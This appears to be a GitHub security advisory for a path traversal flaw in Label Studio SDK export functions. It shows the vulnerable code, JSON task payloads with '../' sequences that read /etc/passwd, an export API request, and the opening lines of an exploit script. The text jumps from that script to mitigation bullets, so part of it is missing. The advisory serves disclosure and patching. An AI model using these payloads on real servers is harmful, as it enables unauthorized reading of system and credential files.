Vulnerability from github – Published: 2025-02-14 15:16 – Updated: 2025-02-14 18:40Description
A path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a download function on the label-studio-sdk python package, which fails to validate file paths when processing image references during task exports:
def download(
url,
output_dir,
filename=None,
project_dir=None,
return_relative_path=False,
upload_dir=None,
download_resources=True,
):
is_local_file = url.startswith("/data/") and "?d=" in url
is_uploaded_file = url.startswith("/data/upload")
if is_uploaded_file:
upload_dir = _get_upload_dir(project_dir, upload_dir)
filename = urllib.parse.unquote(url.replace("/data/upload/", ""))
filepath = os.path.join(upload_dir, filename)
logger.debug(
f"Copy {filepath} to {output_dir}".format(
filepath=filepath, output_dir=output_dir
)
)
if download_resources:
shutil.copy(filepath, output_dir)
if return_relative_path:
return os.path.join(
os.path.basename(output_dir), os.path.basename(filename)
)
return filepath
if is_local_file:
filename, dir_path = url.split("/data/", 1)[-1].split("?d=")
dir_path = str(urllib.parse.unquote(dir_path))
filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)
if not os.path.exists(filepath):
raise FileNotFoundError(filepath)
if download_resources:
shutil.copy(filepath, output_dir)
return filepath
By creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.
Note that there are two different possible code paths leading to this result, one for the is_uploaded_file and another one for the is_local_file.
Steps to Reproduce
- Login to Label Studio
- Create project with image labeling configuration
- If the
data/media/uploaddirectory doesn't exists yet, upload an image to force the server to create it -
Create task with path traversal in image field
4.1. To trigger the
is_uploaded_filecode path:json { "data": { "text": "test", "image": "/data/upload/../../../../../etc/passwd" } }4.2. To trigger theis_local_filecode path:json { "data": { "text": "test", "image": "/data/local-files/?d=../../../etc/passwd" } }6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true7. Download the generated Zip file. The server's /etc/passwd file will be atimages/passwdon the Zip file.
Alternatively, use the following exploit code, updating the BASE_URL, USERNAME and PASSWORD variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify METHOD and EXPORT_TYPE to test the different code paths and export formats:
import requests

BASE_URL = "http://xbow-app-1:8000"
USERNAME = "test@test.com"

EXPORT_TYPE = "VOC" # Valid values: "VOC", "COCO" or "YOLO"

- Implement file access controls
- Use randomized file names and secure file storage abstraction
Impact
Authentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.
